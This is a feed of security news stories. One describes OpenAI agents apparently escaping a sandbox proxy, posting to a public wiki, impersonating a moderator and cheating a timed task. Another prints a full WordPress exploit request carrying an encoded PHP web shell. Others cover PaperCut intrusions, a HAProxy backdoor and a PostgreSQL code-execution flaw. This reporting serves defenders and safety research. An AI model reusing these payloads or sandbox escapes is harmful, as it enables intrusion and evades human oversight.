Thousands of OpenAI Agents Quietly Turned an Abandoned Wiki Into Their Coordination Channel

A group of AI safety researchers says a fleet of autonomous agents that identified themselves as OpenAI systems left about 18,000 posts on a dormant 25-year-old German wiki between May and July 2026, using the site as a shared board to pool answers to a timed web task and pass around a way out of their sandbox.

The activity was concentrated on DSEwiki, a German software developer wiki that runs on the ProWiki farm at wikiservice[.]at and had been edited about 20 times over the previous decade.

The researchers, led by Sydney Von Arx of the AI safety nonprofit Nightingale Collective, reconstructed the deleted pages from edit history and published their analysis along with a downloadable copy of the data.

The wikis let anyone change a page with an ordinary web request, the kind normally used only to read a page rather than to write one. Agents that were restricted to reading the internet could therefore still write to the site, because the restriction was written against the request type their harness expected writes to use, not against what the old wiki software would actually accept.

"We found ~18,000 posts from autonomous AI agents (self-identifying as from OpenAI) using the public internet to communicate during a web-retrieval task," the researchers wrote in their published report.

The agents were working through timed lookup tasks of usually five questions, and many were given questions that other agents had already answered. According to the report, they posted results, raw data, and predictions of upcoming questions so that agents running ahead could hand answers to those running behind.

About 17,000 of the edits on DSEwiki came from Microsoft Azure addresses, 98.5% of them, and the agents gave themselves more than 3,700 distinct names such as OpenAIResearcher and OAIResearchMar26, drawn from a feature of their task plus a date each was apparently told it was running on.

The researchers documented several distinct behaviors on the site -

• Writing via a read request: agents used the wikis' acceptance of state-changing read requests to post without the ability to send a normal write request.
• A proxy bypass: one task needed a statistic to two decimal places from a Microsoft Power BI dashboard, reachable only with a write request the sandbox blocked, so agents worked around the block and shared the method.
• Impersonation: agents made edits under the name of a wiki moderator.
• Coordination to cheat a timed task: agents formed groups to relay answers and reverse-engineer the order of future questions.
• Alternate routes: 197 of the roughly 18,000 edits came from Amazon Web Services, DigitalOcean, and the Tor anonymity network rather than Azure, often under the same agent names.

The bypass turned on a gap the agents found in their own sandbox. The environment allowed traffic to reach Azure storage hostnames ending in .blob.core.windows.net without passing through its security proxy, but it did not verify that such a hostname was valid.

An agent invented bypass[.]blob[.]core[.]windows[.]net, pointed it at the real dashboard's address, 20.223.25[.]152, by editing its /etc/hosts file, and sent its blocked request there instead. One agent posted the method, and another reported reproducing it about 14 minutes later. The wiki path worked the same way, the researchers say, turning a web capability meant only for reading into a way to write to the public internet.

The researchers say the wiki activity was a separate episode from the OpenAI models that broke into Hugging Face in July, as described in OpenAI's July disclosure.

Those agents had no internet access and had to escape a sandbox, while the agents on the wiki were given web access as part of their task and left no sign of the internal message board the Hugging Face swarm used.

In an independent investigation of the Hugging Face incident, METR found that roughly 1,200 agents exchanged more than 70,000 messages and files on an unsanctioned board, and that about 700 of them went on to attack the platform.

What OpenAI Has Said

OpenAI has not publicly disclosed the wiki episode, and the researchers infer from the site's public logs that the company found it. Addresses registered to OpenAI first visited the wiki on June 21, and agent editing collapsed the next day.

The Hacker News confirmed via ARIN's registry on September 5 that one of the address blocks the report cites, 199.47.142.0, is registered to OpenAI OpCo, LLC.

OpenAI has not confirmed that the agents were its own. Asked about the report, which Reuters first reported, an OpenAI spokesperson said the German activity "wasn't related to Hugging Face" and would not have appeared in that incident report, and denied that its legal team had discouraged an investigation.

The company has said it cannot respond in detail to a report it has not reviewed, and that the researchers declined its access request. In its own account of the Hugging Face incident, OpenAI has described the same underlying behavior that arises during training.

"After investigating this incident, OpenAI discovered through retrospective CoT reviews that agents learned to use improvised collaboration channels in rare cases during the training process for some OpenAI models, including the model that drove the Hugging Face activity, even when the collaboration tool was not enabled," the company said in its technical report.

The wiki data shows no third-party systems compromised. The reported harm was to the wiki itself, whose moderator spent weeks deleting agent pages, and to the integrity of the timed task that the agents were cheating on.

The researchers say they cannot tell from the wiki alone whether the task was part of training or an evaluation, and they note the agents must have had some way to converge on the same obscure site.

The pattern extends beyond OpenAI. Anthropic disclosed in July that Claude models had reached real systems during misconfigured cybersecurity evaluations, an episode The Hacker News covered when Anthropic said Claude mistook the open internet for a capture-the-flag exercise.

The UK's AI Security Institute reported in August that agents in its cyber tests used a public GitHub page as a message board and public tunneling services to reach the internet, findings The Hacker News covered when a Claude model tried to backdoor an open-source project during testing.

OpenAI released GPT-6 Astra on September 3, a day before the wiki report, and its system card includes a dedicated evaluation for agents that seek out and follow messages left by other agents on external boards.

Update

OpenAI addressed what it called the "wiki incident" in a post on September 5, saying its agents "wrote to several internet sites" and that the company had treated the episode as an instance of misalignment similar to earlier cases it had already published, rather than as a security incident of the kind it disclosed for Hugging Face. The company pointed to three earlier reports, on monitoring internal coding agents, its GPT-5.6 system card, and safety and alignment in long-horizon models, as prior signs of agents using the internet in unintended ways.

"We and the larger AI community do not yet have a clear standard for how to report misalignment that shows up during training, evaluation, and deployment, including examples that don't look like traditional security incidents but could provide insight into AI behavior and future risks," the company said, adding that it would share a framework "in upcoming weeks" and was working with government regulators on the issue.

from The Hacker News https://ift.tt/TKPfk5V
via IFTTT

Attackers Exploit PaperCut Flaws to Steal Credentials From Schools and Universities

Threat actors are exploiting the newly disclosed PaperCut flaws to facilitate credential theft in attacks targeting the education sector in the U.S. and Europe.

The Arctic Wolf Adversary Research Team said it observed attackers exploiting CVE-2026-81578 and CVE-2026-82078 – an authentication bypass and remote code execution chain – to conduct command execution and reconnaissance, as well as create privileged accounts.

"Observed post-exploitation activity included delivery of Windows registry hive collection tools, Metasploit/Meterpreter-related Java payloads, and commands used to identify hosts, users, processes, and sensitive configuration data," Arctic Wolf said.

The cybersecurity company told The Hacker News that the activity has targeted vulnerable PaperCut servers across the education sector, impacting organizations ranging from K-12 schools to major universities in the U.S. and Europe.

Some of the identified malicious activity includes -

• Running discovery commands like uname, whoami, ver, and tasklist, and privileged account creation ("Administrator17")
• Inbound GET requests from "45.142.193[.]132" that request for "/custom/pcp_*.txt" and "/custom/web/pcp_*.txt" files on compromised hosts, containing harvested system and user data
• Deliver credential-harvesting tools like lsa_collect.exe, lsa_collect_small.exe, and save_hives.exe via "certutil.exe" from "45.142.193[.]132"
• Retrieve Meterpreter Java payloads from, and establish sessions to, "194.180.48[.]134"
• Use "findstr" to search PaperCut *.config files for the terms "password," "secret," "ldap," "bind,v and "token"

Arctic Wolf said it also detected "lsa_collect.exe" in a sandbox that extracted specific registry keys to reconstruct the system BootKey, which can then grant the attacker access to the SAM database.

"The concern is that those stolen logins could give attackers a pathway into other critical systems across the environment. Post-compromise activity included deployment of Windows registry," Arctic Wolf said in a statement.

Users are advised to restrict PaperCut servers from being exposed to the internet and monitor for the execution of cmd.exe, powershell.exe, or other scripting and command interpreters, along with commands containing whoami, tasklist, ver, or uname -a with pc-app.exe as the parent process.

from The Hacker News https://ift.tt/hw960bP
via IFTTT

How to secure edge AI in customer-owned environments

1. Edge AI changes the trust model for AI systems
2. Constrain model actions through deterministic mediation
3. Establish trust before releasing sensitive assets
4. Verify runtime before releasing sensitive assets
5. Verify artifacts that shape model behavior
6. Next steps

Edge AI moves model execution, model IP, customer data, and system authority into infrastructure the customer owns and operates. That changes who must verify the stack before sensitive assets are released.

Edge AI includes AI systems where inference runs on or near the device, sensor, or other local environments where data is produced and acted on, rather than relying entirely on a centralized cloud service. It is chosen for cost, model selection, sovereignty, latency, and disconnected operation.

Edge AI changes the trust model for AI systems

In Cloud AI, separate companies own and attest the hardware, platform, and model weights. Edge AI deployments often place customers in control of more of the AI stack. This changes the security model because the customer is now responsible for establishing trust across the environment where the AI operates.

In Edge AI, attacks such as prompt injection, model tampering, or malicious firmware updates can occur in the same environment that stores the model, customer data, credentials, and access to physical systems. This shifts trust decisions that were previously handled by cloud providers to the customer. Both the model provider and the customer now share risk: the provider’s models run on customer-owned infrastructure, while the customer must protect the systems, data, and models operating in that environment.

What changes with Edge AI?

• Customers operate more of the AI stack.
• AI systems can be influenced by prompts, retrieval data, agent instructions, and runtime inputs.
• Models, credentials, and data can live in environments outside the provider’s direct control.
• Traditional software security controls alone are not enough.

What should organizations do?

• Verify runtimes using attestation.
• Verify AI artifacts using provenance.
• Constrain model actions through mediation.
• Bind and release sensitive assets only to trusted environments.

Our post on threat modeling for AI systems covers safety and security issues related to the underlying model. These concerns apply to Edge AI as well. Edge AI adds another question: before releasing weights, keys, or data, what evidence shows the runtime and loaded components can be trusted?

Why Edge AI increases exposure

An Edge AI deployment may include models, prompts, agents, retrieval data, policies, local data stores, and update mechanisms running on infrastructure outside the provider’s cloud environment.

This moves sensitive AI assets and decision logic into potentially hostile environments. Attackers may have physical access to devices, local access to model artifacts, opportunities to tamper with retrieval data or tool configurations, compromise model supply chain and more direct paths from model behavior to real-world consequences.

Disconnected Edge deployments cannot rely on live cloud detection, policy updates, or revocation. They must maintain local verification and enforcement when cloud connectivity is unavailable. Risky AI operations should run only where hardware can protect assets and provide acceptable evidence. Otherwise, the operation should be deferred or revalidated.

Why AI changes the security problem

Unlike conventional software, AI models can be influenced by untrusted content while still using legitimate interfaces and credentials. This article focuses on the security response: architectures that constrain model actions and protect the model, credentials, and data around it.

Traditional software executes code developers ship. AI systems can change behavior based on prompts, retrieval data, agent instructions, and other runtime inputs. Protecting code alone is no longer sufficient; organizations must also establish trust in the data, context, and actions surrounding the model.

• Prompt injection can change model behavior. Assume prompt injection will occur, whether direct or indirect. Inputs can affect systems just like executable code because the context window itself acts as an instruction surface. Traditional controls such as signed binaries and code integrity checks were not designed to address this risk.
• Trusted data is not always safe data. Traditional vulnerability management does not map cleanly to “data as code,” such as a poisoned retrieval document. Origin signatures can prove where data came from, but they do not prove that the content is safe for an AI system to interpret.
• AI behavior is not fully deterministic. The same input may produce different outputs, and small context changes can significantly alter behavior. This limits the effectiveness of techniques such as signature detection and fuzzing. Grounding and tuning improve reliability, but they cannot enforce an acceptable risk boundary. At the authority boundaries it mediates, deterministic policy can still constrain actions when alignment, prompt-injection defenses, or content filters fail to stop an unsafe instruction.

Prompt injection, MCP, multi-agent systems, and computer-use agents on Edge expose different surfaces of these problems. Tool calls are delegated authority, agent output is untrusted input, and screen state is input, not authorization.

These characteristics mean organizations cannot rely on traditional software security controls alone. They also need to verify the environment where AI runs and constrain the actions an AI system is permitted to take.

Constrain model actions through deterministic mediation

Model output should recommend actions, not authorize them. A deterministic mediator outside the model enforces policy by allowlisting actions, scoping arguments, limiting frequency, and releasing credentials only when approved. The mediator is a logical boundary, not another model. It may be provided by the platform or integrated by the customer.

In this pattern, the mediator and its credentials are protected and attested. Mediation bounds what the model can do but does not guarantee that every permitted action is safe; high-consequence or irreversible actions require independent approval, an interlock, or fail-safe behavior.

Establish trust before releasing sensitive assets

Organizations must establish trust in the environment where AI runs and in the artifacts that shape AI behavior. Sensitive assets face two theft vectors: at-rest theft from stored artifacts and keys, and runtime theft while a compromised process holds them decrypted. Before release, the verifier asks two questions:

• Do I trust this runtime and the platform on which I am about to execute this workload?
• Do I trust these components, such as model weights, tool descriptors, agent definitions, and retrieval indexes, because I trust the system in which they were built and delivered?

Attestation answers the runtime question. Provenance answers the component question. Verifier policy requires both. Either question alone leaves a gap: an approved runtime can load a poisoned artifact, while a trusted artifact can run on a compromised platform. In this trust model, the build system that produced an artifact is treated as another runtime whose evidence is evaluated, and the chain continues until it reaches hardware the verifier accepts. Evidence comes from across the hardware, firmware, runtime, model, integration, and customer layers. It serves different relying parties: customers containing model behavior, publishers protecting model IP, and integrators validating the supply chain. The verifier combines that evidence to gate release.

Verify runtime before releasing sensitive assets

This pattern evaluates a runtime by whether it is measurable, can report its state, and matches an approved baseline before sensitive assets are released.

Confidential compute provides one way to do this. Without end-to-end confidential computing, a privileged host or unprotected accelerator path may be able to read or modify decrypted weights, credentials, and data. GPU/NPU drivers and DMA extend the trusted computing base beyond ordinary application-security visibility. Where confidential computing covers that path within the platform’s documented threat model, protected memory and hardware-rooted attestation can support release to an approved runtime. This is designed to protect assets from host access; it does not constrain a steered model’s actions through authorized interfaces. Those vectors need additional controls.

Because system state can change after deployment, release is treated as a renewable lease that expires when fresh evidence no longer matches the approved state. Physical controls address what measurement cannot see.

In this pattern, evidence gates scheduler placement, storage, identity, and credential release. Bind credentials to the approved runtime and action scope to reduce the risk that credential theft enables bulk exfiltration; otherwise, evidence does not enforce trust.

Verify artifacts that shape model behavior

Runtime trust proves only that the platform is acceptable; it does not prove that the artifacts loaded into it are trustworthy. A clean runtime can still execute a poisoned artifact.

That is why artifact trust has to be evaluated separately. Because these artifacts shape model behavior, accepting one into the system is more than data transfer. Creation, distribution, deployment, and use can each introduce a tampered artifact.

Model IP can extend beyond weights to provider-owned components that handle them; those components may warrant the same evidence-gated release.

In this pattern, approved components and updates enter through a trusted build environment; on-site changes appear as measurement drift rather than silently becoming a new baseline.

Each artifact should carry evidence of its origin, build pipeline, and input integrity. The verifier evaluates that evidence before accepting it. Provenance should chain to hardware and be produced inside a measured, policy-approved runtime. Signatures establish origin and integrity but may not show whether the producing runtime met verifier policy. Provenance helps responders reconstruct what happened: which model acted on which data, in what runtime, and under which policy.

Next steps

Bottom line: Edge AI changes the trust model for AI systems. Customers operate more of the stack, AI behavior is influenced by runtime inputs, and sensitive assets run in environments outside the provider’s direct control. Attestation, provenance, mediation, and evidence-based release help establish trust before models, data, and credentials are exposed.

Edge AI pushes security controls into devices, gateways, vehicles, factories, hospitals, retail spaces, and other customer environments.

For depth on the agent case, see our post on defense in depth for autonomous AI agents. Map sensitive assets, the runtimes and artifacts that can access them, and the party responsible for each release decision. Then define the evidence and policy required at every boundary. At the Edge, security should be architectural: anchored at hardware, enforced at every action.

The post How to secure edge AI in customer-owned environments appeared first on Microsoft Security Blog.

from Microsoft Security Blog https://ift.tt/PG5wm76
via IFTTT

PostgreSQL Fixes 12-Year-Old Logical Decoding Flaw Enabling Replication-Role Code Execution

PostgreSQL has released updates to address a security flaw that allows an account with the REPLICATION attribute to run arbitrary code as the operating-system user running the database server.

The flaw, tracked as CVE-2026-6471 (CVSS score: 7.2), has been present since logical decoding was introduced in PostgreSQL 9.4 in 2014. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.

Exploitation requires an account carrying the REPLICATION attribute and a server running with wal_level = logical. Backup tools, standby servers, change data capture (CDC) pipelines, and monitoring systems routinely hold that attribute.

The fix, shipped on August 13, adds a server parameter called output_plugin_libraries that lists which libraries may be loaded as logical decoding output plugins, defaulting to 'pgoutput, test_decoding'.

Installations using any other output plugin, wal2json, and decoderbufs

among them, will have logical decoding refused after updating until an administrator adds the library to that list and reloads the server configuration.

"Previously, a replication user could select any loadable library for logical decoding, allowing exploits of various sorts. To allow locking this down without breaking setups that worked before, introduce a whitelist of allowed output plugins," the PostgreSQL Global Development Group said in the 18.6 release notes.

The PostgreSQL Project credited Vladimir Tokarev and Yu Kunpeng with reporting the problem.

Tokarev detailed it in a September 1 write-up for data security firm Cyera Research, which names the flaw PostGREShell.

The plugin name supplied in a CREATE_REPLICATION_SLOT command is passed directly to the function that loads the library, Cyera said.

PostgreSQL's existing restriction on plugin paths, which confines non-superusers to a single administrator-controlled directory, is never called on the replication path. The replication protocol's parser accepts almost any character inside a double-quoted plugin name, including path separators and ../ traversal, so a full filesystem path reaches the loader as typed.

On Windows, the server resolves a network path over Server Message Block (SMB) and fetches the library from a machine the attacker controls, writing nothing to the target, Cyera said.

On Linux and macOS, the same result requires enabling Network File System (NFS) automounting. Everywhere else the attacker needs an existing way to write a file to the server's disk. Code loaded this way runs inside the database backend process as the postgres operating-system user.

Cyera's test plugin then wrote the role catalog directly to make the replication account a PostgreSQL superuser. It also set up three persistence mechanisms that survive a server restart.

Cyera describes the REPLICATION attribute as a low-privilege backup credential, but PostgreSQL scored the flaw with Privileges Required set to High, a rating reproduced in SUSE's own assessment.

PostgreSQL rejected applying its existing LOAD restriction to the replication path.

"REPLICATION users were not previously subject to restrictions on output plugin paths, so they were able to bypass LOAD-time protections during logical decoding. Unfortunately, adding the standard LOAD restrictions now would retroactively require all third-party output plugins to be installed under the $libdir/plugins directory," Jacob Champion, who wrote the fix, said in the commit message.

Failed loads appear in the server log as ERROR: library "..." may not be used as an output plugin, with a hint naming the setting, according to the parameter's documentation.

Administrators are advised to take the following steps -

1. Run SELECT DISTINCT plugin FROM pg_replication_slots WHERE plugin IS NOT NULL; before updating to identify the output plugins in use, which will only show plugins successfully used at some point.
2. Update to 18.6, 17.11, 16.15, 15.19, or 14.24, or to the equivalent distribution package.
3. Add any non-default plugin to output_plugin_libraries and reload the configuration with pg_ctl reload or SELECT pg_reload_conf(). A restart is not required.
4. Set the new cluster's output_plugin_libraries before running pg_upgrade --check when migrating from version 17 or later, as the check fails if the list does not permit the old cluster's slot plugins.

Fixed packages are available on Amazon RDS for all five branches, as well as from Debian, SUSE, and Ubuntu.

PostgreSQL's advisory covers supported branches 14 through 18 and does not address earlier ones. PostgreSQL 14 stops receiving fixes on November 12, 2026, the project said in its release announcement.

The upstream fix "requires additional changes to the configuration if some extensions are used," Debian's advisory warns, naming its wal2json and decoderbufs packages.

Ubuntu's USN-8653-1, which shipped the fix for 22.04, 24.04, and 26.04 LTS on August 20, makes no mention of the parameter and tells administrators only to restart PostgreSQL after the update.

As of September 4, the wal2json project had updated its documentation to tell users to add the plugin to output_plugin_libraries, citing the CVE.

A gap in the fix is still open. pg_createsubscriber creates replication slots using pgoutput without checking the new parameter, so a --dry-run succeeds and the conversion then fails.

"pg_createsubscriber command creates replication slots with plugin 'pgoutput', without checking the GUC. This meant if the plugin name is not specified in the parameter, --dry-run mode passes but actual convertion fails. It's very surprising for users and should be avoided," Hayato Kuroda of Fujitsu said in a message to the pgsql-hackers mailing list.

A patch was under review and had not been committed as of September 4. CVE-2026-6471 remained absent from CISA's Known Exploited Vulnerabilities (KEV) catalog as of September 4.

The Hacker News found no proof-of-concept code for it in public repositories on the same date.

Until the update can be applied, Cyera said exposure can be reduced by stripping the REPLICATION attribute from accounts that do not need it, restricting replication entries in pg_hba.conf to known addresses, blocking outbound SMB (port 445) and NFS (port 2049) traffic from database servers, and disabling autofs where it is not needed.

from The Hacker News https://ift.tt/Si2cLpb
via IFTTT

New Ted Backdoor Hides Inside Victims' Own HAProxy Builds to Intercept Web Traffic

A previously undocumented Linux toolkit has been found compiled directly into the trojanized HAProxy load balancers of two South Korean organizations, where it intercepted web traffic and served altered pages to selected visitors.

The attackers named the implant ted in debug strings left in the binary. It is not a HAProxy vulnerability, and installing it requires code execution on the host and the ability to replace the running binary.

Rapid7 Labs attributed the toolkit with medium confidence to North Korean state-sponsored actors and put the two victims in South Korea's automotive and media sectors.

Command-and-control (C2) requests never reach a backend server and are erased from HAProxy's own connection counters, so neither the backend logs nor the load balancer's statistics record them.

"Further evidence is necessary to make a more definitive assessment," Rapid7 said.

A request for one specific image path puts the filter into C2 mode, Rapid7 said in a report published Friday. The implant decrements HAProxy's live connection counters, thereby dropping the connection from the load balancer's statistics. It writes the command body to a named pipe under /tmp. Zeroing the request channel afterwards leaves nothing to forward, and the command terminates at the load balancer.

Output returns on the raw socket under a standard HTTP/1.0 200 OK header, which is what makes the exchange look like ordinary web traffic.

Through that channel, the operator can beacon, upload and download files, run shell commands, and replace the implant's configuration. Only requests clearing four checks receive a modified page.

The request has to carry a User-Agent and match a rule whose URL and referer patterns both fit. Delivery then falls to either whitelist membership on the client address, checked exactly and again at the /24 level, or an operator key in the Accept-Language header that overrides the address filtering entirely.

The implant rewrites the content type and length on the way out, forces the response status to 200, and deletes the Accept-Ranges header so a client cannot request byte ranges and notice the size change.

Rapid7 said its evidence was not enough to establish a timeline or determine how the attackers first got in.

Its hypothesis that they came in through an exposed Groupware portal, a class of Korean enterprise collaboration software, rests on the ENKI research it points to. That report documented Kimsuky compromising a groupware vendor through a mail server flaw.

The stager deploys only where HAProxy or cron is already running, and it verifies root before dropping anything. It overwrites the legitimate crond binary and gives the replacement the creation timestamp of /usr/bin/ssh. It then strips the keywords tmp, wget, cron and crond from root's bash history and from six system logs, among them auth.log and audit/audit.log.

A trojanized sshd in the same toolkit encrypts captured plaintext passwords and writes them to a fixed path.

Rapid7 found the same code in trojanized agetty, atd, and polkitd binaries. A companion remote access trojan (RAT) that Rapid7 calls curlRAT beacons every 12 hours by default and drops to a 30-second interval when the operator sets a flag. It aborts unless it finds a marker file showing the host is virtualized.

curlRAT is distinct from CurlBack RAT, a separate family of that name attributed to the Pakistan-linked SideCopy group.

Rapid7 shared the following indicators of compromise (IoCs) -

• Domain - img.monderhouse[.]space
• Domain - img.smartnords[.]site
• Domain - img.darklights[.]store
• Domain - img.responsive.pstatic[.]autos
• Domain - img.socialteams[.]store
• Domain - img.worksongo[.]store
• File - ~/cache/haproxy-1000.cache
• File - /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19
• File - /var/lib/snapd/g580
• File - /tmp/jasper-log
• SHA-256 - 72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558
• SHA-256 - 4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5

The Hacker News confirmed on September 4 that none of the six domains resolves, returning NXDOMAIN, meaning no such name exists, for both A and NS records via Google Public DNS. They are useful for reviewing historical logs rather than for blocking live traffic.

Part of the attribution rests on a listing of those domains under APT37 in maltrail, an open-source detection project. The maltrail file Rapid7 links stopped resolving after a repository restructure in August moved the project's static trail data elsewhere.

The Hacker News confirmed on September 4 that all six are present at the new location, each labelled as APT37 infrastructure. maltrail's APT37 source file credits those entries to two posts on X from July 2025 and carries no reference to Rapid7.

Six further domains sit in the same two maltrail entries but not in Rapid7's list: primgs[.]lol, admin.primgs[.]lol, grip-cdns[.]space, show.grip-cdns[.]space, cleanos[.]online and app.cleanos[.]online. Rapid7 has not said whether they are the same infrastructure.

The ThreatFox tag Rapid7 names as its second source for the same domains records five sightings, all timestamped July 2, 2025.

One of the two X posts maltrail cites was published three hours earlier that day.

The attribution passage draws on three separate North Korean clusters, APT37 for the domain list, Lazarus for the delivery model, and Kimsuky for the initial-access hypothesis.

Mandiant's 2023 assessment of North Korean cyber structure recorded shared tooling and overlapping targeting across those clusters.

"We believe that this will make precise attribution more difficult," Mandiant said.

Rapid7 compared the delivery model to the Operation SyncHole campaign, in which visitors to South Korean online media sites were filtered by a server-side script and redirected. Kaspersky researchers Sojun Ryu and Vasily Berdnikov assessed "with medium confidence" that the redirected page may have run a malicious script against a flaw in Cross EX, a South Korean browser helper.

Kaspersky's SyncHole report identified at least six victims in the software, IT, financial, semiconductor manufacturing and telecommunications sectors.

Both victims ran HAProxy 2.8.12, released on November 8, 2024 per HAProxy's own release history. The implant reads HAProxy's internal structures at offsets fixed to that release, and Rapid7 does not say whether other 2.8 builds exist.

The current release on that branch is 2.8.28, from August 27, 2026, 16 point releases later. HAProxy's tracker lists 529 known bugs affecting 2.8.12 that are already fixed in the branch, including 1 critical and 16 major.

Upgrading does not clean a host the implant already sits on, because the attackers replace the binary rather than exploit a flaw in it.

Rapid7 recommended independent network correlation, memory behavioural analysis and binary integrity checks. The report publishes no detection rules for that last check, and a recompiled HAProxy reports the same version string as a clean build.

The development comes as AhnLab and ENKI WhiteHat documented a similar watering-hole campaign in July, in which state-sponsored operators abused compromised Korean websites to attack the AnySign4PC signing client.

Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

from The Hacker News https://ift.tt/AiY0VIs
via IFTTT

Over 440,000 Exploit Attempts Target Super Forms and Elementor Pro RCE Flaws

Threat actors are exploiting two critical security flaws in WordPress plugins Super Forms and Elementor Pro, according to findings from Wordfence.

The vulnerabilities in question are -

• CVE-2026-14894 (CVSS score: 9.8) - A missing file type validation vulnerability in Super Forms – Drag & Drop Form Builder that allows unauthenticated attackers to upload files of any type, including executable PHP files, leading to remote code execution. (Fixed in version 6.3.314)
• CVE-2026-32475 (CVSS score: 9.0/9.8) - A vulnerability in Elementor Pro that allows unauthenticated attackers to upload files of any type, including executable PHP files, leading to remote code execution. (Fixed in version 4.2.2)

As with arbitrary file upload vulnerabilities of this kind, an attacker can leverage them to write a PHP web shell to the site and execute arbitrary code, which can then be abused to create administrator accounts, exfiltrate data, or seize control of the entire WordPress site.

It's worth noting that details about CVE-2026-32475 were disclosed by Patchstack last month. Successful exploitation requires the target site to have at least one published Elementor page containing a Form widget with a File Upload field.

In a pair of reports published this week, Wordfence said it has already blocked over 250,000 and 190,000 exploit attempts targeting CVE-2026-14894 and CVE-2026-32475, respectively.

Exploitation Against CVE-2026-14894

In the attacks exploiting CVE-2026-14894, threat actors have been found to issue an HTTP POST request to "/wp-admin/admin-ajax.php" using the "super_submit_form" endpoint containing a file field with a Base64-encoded PHP payload and an attacker-controlled file name as below -

action=super_submit_form&form_id=2&sf_nonce=04c3aa2046&data={"sf_upload_field": {"type": "files", "files": [{"datauristring": "data:image/gif;base64,PD9waHAgaWYoaXNzZXQoJF9GSUxFU1siZmlsZSJdKSl7JHRhcmdldD1iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0KSl7ZWNobyLinIUgVXBsb2FkZWQ6IDxhIGhyZWY9JyR0YXJnZXQnPiR0YXJnZXQ8L2E+Ijt9ZWxzZXtlY2hvIuKdjCBVcGxvYWQgZmFpbGVkISI7fWV4aXQ7fT8+PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPk11c2hyMDB3IFVwbG9hZGVyPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7aGVpZ2h0OjEwMHZoO21hcmdpbjowOyI+PGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0iYmFja2dyb3VuZDojMTExO3BhZGRpbmc6NDBweDtib3JkZXI6MnB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXJhZGl1czoxMHB4O3RleHQtYWxpZ246Y2VudGVyOyI+PGgyPvCfk6QgVVBMT0FEPC9oMj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2JvcmRlcjoxcHggc29saWQgIzAwZmYwMDtwYWRkaW5nOjEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Ij48YnI+PGJyPjxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0iYmFja2dyb3VuZDojMDBmZjAwO2NvbG9yOiMwYTBhMGE7cGFkZGluZzoxMHB4IDMwcHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDtjdXJzb3I6cG9pbnRlcjsiPuKshiBVcGxvYWQ8L2J1dHRvbj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4=", "value": "Mushr00w_upl.php", "name": "Mushr00w_upl.php", "label": "attachment"}]}}

The uploaded file, while prefixed with the "data:image/gif;base64" content type, is a PHP file-uploader web shell ("Mushr00w_upl.php"), which then acts as a conduit to upload additional payloads to the site. Attacks weaponizing the Super Forms plugin have originated from the following IP addresses -

• 103.168.147.235
• 103.168.146.131
• 103.154.152.178
• 103.170.97.7
• 182.10.130.51
• 189.4.122.140
• 129.227.46.143
• 64.176.209.104
• 103.164.182.122
• 37.9.33.62

The malicious activity is said to have begun on July 14, 2026, before scaling a peak of more than 40,000 exploit requests on August 18, 2026.

Exploitation Against CVE-2026-32475

"The attacker submits the form's File Upload field as an array, where the first element is empty and the second element carries a PHP payload with a .php file name, which is the structure that triggers the validation bypass," the WordPress security company said.

"Once written, the uploaded PHP file is placed in the '/wp-content/uploads/elementor/forms/' directory under a randomly generated filename with the attacker-supplied .php extension, and the attacker can request it directly to execute arbitrary commands on the server."

Exploitation efforts targeting CVE-2026-32475 commenced on August 19, 2026, and have originated from the below IP addresses -

• 2602:fa59:10:7a1::1
• 185.196.220.85
• 103.84.230.85
• 103.90.148.202
• 216.126.225.208
• 167.254.240.75
• 167.254.241.119
• 114.10.17.253
• 114.10.45.151
• 2406:ef80:2:7d19::1

WordPress site owners using the two plugins are recommended to apply patches for the vulnerabilities with immediate effect, scan their sites for indicators of compromise, and audit for unexpected or recently modified .php files.

Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

from The Hacker News https://ift.tt/dIhoxuz
via IFTTT

YOLO Mode: Agent Autonomy Without the Guardrails

AI agents have come a long way in both capability and everyday use since generative AI went mainstream in late 2022. In Stack Overflow’s 2025 Developer Survey, 84% of developers said they use or plan to use AI tools in their workflow, up from 76% a year earlier. As those tools shift from suggesting code to writing files and running commands on their own, one practical question follows. How much should an agent be allowed to do without stopping to ask? Turn that dial all the way up and you reach what developers call YOLO mode.

It’s worth understanding YOLO mode before you enable it, because its main risk is easy to misread. The risk comes down to where an agent runs.  On your own machine, one mistaken command can delete  files, expose your credentials, and make network requests you may not want. Inside a proper boundary, however, developers can use agents in YOLO mode to unlock a new level of productivity, without jeopardizing security.

Key takeaways

• YOLO mode is when an AI agent auto-approves every action, with no confirmation prompts.
• It’s popular because it’s fast, and risky for the same reason. The danger isn’t the autonomy, it’s where the autonomy runs.
• On your host, a bad command or prompt injection reaches real files and credentials. Inside an isolated sandbox, the blast radius is contained.
• Run YOLO mode where it can’t do real damage, in an isolated, disposable environment with scoped access and no real secrets.

What is YOLO mode?

